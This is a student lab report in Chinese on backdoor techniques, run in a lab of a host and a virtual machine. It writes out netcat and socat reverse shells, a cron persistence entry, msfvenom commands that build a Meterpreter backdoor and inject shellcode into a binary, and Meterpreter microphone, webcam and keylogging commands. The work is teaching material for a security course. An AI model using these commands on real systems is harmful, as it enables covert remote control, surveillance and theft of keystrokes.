1.实验内容
实践目标
-
1.使用netcat 获取主机操作Shell,cron启动某项任务
-
2.使用socat 获取主机操作Shell, 任务计划启动
-
3.使用MSF meterpreter 生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
-
4.使用MSF meterpreter 生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
-
5.使用MSF 生成shellcode,注入到实践1中的pwn1 中,获取反弹连接Shell。
整个实验系统性地展示了后门技术的应用,从基础Shell获取,到高级信息收集和权限提升,形成完整攻击链,体现了渗透测试中多种技术手段的综合运用。
本次实验的重要知识点:
-
后门:是攻击者在渗透目标系统后故意留下的隐蔽通道,用于绕过正常的安全认证机制,维持对系统的持久访问权限。
-
netcat、socat 和 MSF Meterpreter的使用:它们的本质都是为攻击者提供一条不受约束的“秘密路径”,用于执行命令、传输数据并维持对受害主机的持久访问权限。
问题回答
- 例举你能想到的一个后门进入到你系统中的可能方式?
通过软件供应链攻击实现,攻击者可能劫持或仿冒合法软件的下载渠道,将后门程序捆绑在正常安装包中。当用户在未经验证的第三方平台下载并运行该软件时,安装程序会在执行常规功能的同时,于后台静默部署后门载荷。后门自启动后会实现持久化驻留,继而建立与远程命令控制服务器的加密连接。
- 例举你知道的后门如何启动起来(win及linux)的方式?
1.创建计划任务,可以设置为用户登录时、系统启动时或特定时间间隔触发
2.将后门程序的快捷方式放入当前用户的启动文件夹
3.某项服务程序存在漏洞,被攻击者注入了shellcode,该程序运行时便可能触发运行后门
- Meterpreter有哪些给你映像深刻的功能?
Meterpreter的强大之处在于它超越了简单的远程Shell,它能够实现远程截图、摄像头监控、获取键盘记录,收集的信息相当全面。
- 如何发现自己有系统有没有被安装后门?
重点监控异常的网络连接、可疑的自启动项及陌生进程,并使用安全工具检查系统关键位置是否存在未经授权的修改,同时分析系统日志中的非正常登录与操作记录。
2.实验过程
2.1 使用netcat获取主机操作Shell,cron启动定时任务
为保障实验的顺利进行,我们首先要进行环境配置。关闭Windows 主机的防火墙,将杀毒软件暂时关闭,并关闭Windows 主机自带的防病毒软件
从课程主页附件中下载ncat.rar,并解压使用。在ncat 所在的文件夹打开Windows 终端,输入./ncat.exe -l -p 2412
打开监听,指定监听2412窗口。
我们可以输入指令netstat -an |findstr "2412"
,检查系统中是否有程序正在使用2412 端口。这里显示LISTENING,表示正在监听。
我们在虚拟机中输入命令nc 192.168.1.113 2412 -e /bin/sh
(192.168.1.113为主机IP),与主机的2412 端口发起一个TCP 连接,将自己的Shell 控制权交给了主机。
我们在主机上输入Linux的命令,可以发现能执行虚拟机的Shell,则代表连接成功。
同理,我们也可以将主机的Shell 控制权交给虚拟机,虚拟机监听2412 窗口,主机主动向192.168.109.132 的2412 端口发起TCP 连接(192.168.109.132 为虚拟机IP),虚拟机获得一个到您机器上 cmd.exe 的远程控制通道。
我们在主机上输入Windows 的命令,可以发现能执行主机的Shell,则代表连接成功。
cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程。在虚拟机中,我们输入crontab -e
来编辑crontab 文件。
我们在文件中加入内容12 ****/bin/netcat 192.168.1.113 2412 -e /bin/sh
,创建cron 计划任务条目,用于设置持久化的后门,代表每小时的12 分钟时执行一次,将自动把本机的Shell控制权连接到主机192.168.1.113 上。输入crontab -l
,列出当前用户的cron 计划任务,验证添加成功。
当系统时间到12分时,我们可以在主机上获得了Linux Shell,代表连接成功。
2.2 使用socat获取主机操作Shell, 任务计划启动
从课程主页附件中下载socat.rar,并解压使用。在主机上打开任务计划程序,创建自启动任务,设置socat 工作站锁定时启动,并添加参数tcp-listen:2412 exec:cmd.exe,pty,stderr
,在 2412 端口启动一个TCP 监听服务,当有客户端连接时,执行cmd.exe。
当我们手动锁定工作站,解锁后会弹出窗口,代表socat 已运行,我们在虚拟机上输入socat - tcp:192.168.1.113:2412
连接到主机的后门,这时就能执行主机的Shell。
2.3 使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell
在虚拟机上输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=2412 -f exe > meter_backdoor.exe
,生成一个Windows 平台的Meterpreter 反向 TCP 后门程序。
生成完毕后将可执行文件,在主机上输入ncat.exe -lvnp 2412 > meter_backdoor.exe
,在2412 端口等待传入连接文件。
在虚拟机上的终端上输入nc 192.168.109.1 2412 <meter_backdoor.exe
,向Windows 机器发送后门文件。
在虚拟机的终端输入指令msfconsole,打开主要控制台界面,对监听模块进行配置。
各配置的含义:
-
use exploit/multi/handler
:选择接收反向连接的后门载荷 -
set payload windows/meterpreter/reverse_tcp
:设置了Windows 的Meterpreter 反向TCP 载荷 -
set LHOST 192.168.109.132
和set LPORT 2412
:设置监听IP 和端口 -
exploit
:启动监听器
在主机上运行给个传来的后门程序,我们发现虚拟机连接上主机,输入dir 后获得当前目录下的文件与目录
2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
在第三步连接上主机后,我们输入record_mic
、webcam_snap
、keyscan_start & keyscan_dump
,分别能获取目标主机音频、摄像头、击键记录等内容
我们尝试提权,输入getuid
命令可查看初始用户名,再输入getsystem
发现用户依然不变,这是因为当前会话权限不足,与同学交流后知道如果Windows是以管理员身份运行的后门文件,就能提权成功。
2.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在虚拟机终端中输入msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.109.132 LPORT=4444 -x pwn1 -f elf > pwn1_2
,读取原有的pwn1 程序,将Meterpreter shellcode 注入到pwn1 中,创建一个嵌入了 Meterpreter 后门的 Linux 可执行文件。
在虚拟机的终端输入指令msfconsole,打开主要控制台界面,对监听模块进行配置。输入chmod +x pwn1_2
给后门文件执行权限,随后开始运行。当我们运行pwn1_2时,成功获取shell。
3.问题及解决方案
- 问题1:getsystem提权失败
- 问题1解决方案:windows用户本身权限不够,以管理员身份运行后门文件就能成功。查询资料知道也可以使用UAC 绕过模块,实现提权。
- 问题2:ncat传输后门文件至主机后无法运行
- 问题2解决方案:查询资料后知道ncat 默认使用文本模式传输数据,在文本模式下,某些字符会被自动转换,可能进行字符编码转换。所以展示的是文件传输过程,实际的执行文件则是用剪贴板复制到主机上。
4.学习感悟、思考等
通过本次实验,我对后门技术有了更为深刻的理解,后门本质上是一种隐蔽的权限维持机制,其突破正常认证体系,建立持久化的控制通道。在实践过程中,我认识到后门技术的强大功能,不仅能获取Shell,利用MSF meterpreter甚至还能进行音视频监控、击键记录等高阶操作。将恶意代码嵌入正常程序pwn1中,能实现合法程序掩护非法功能,这种白加黑体现了后门的隐蔽性。这些特性提示我们,网络安全防护必须从多个层面构建防御体系:既要监控异常网络连接和自启动项,又要加强软件来源验证和系统完整性检查。
参考资料
后门原理与实践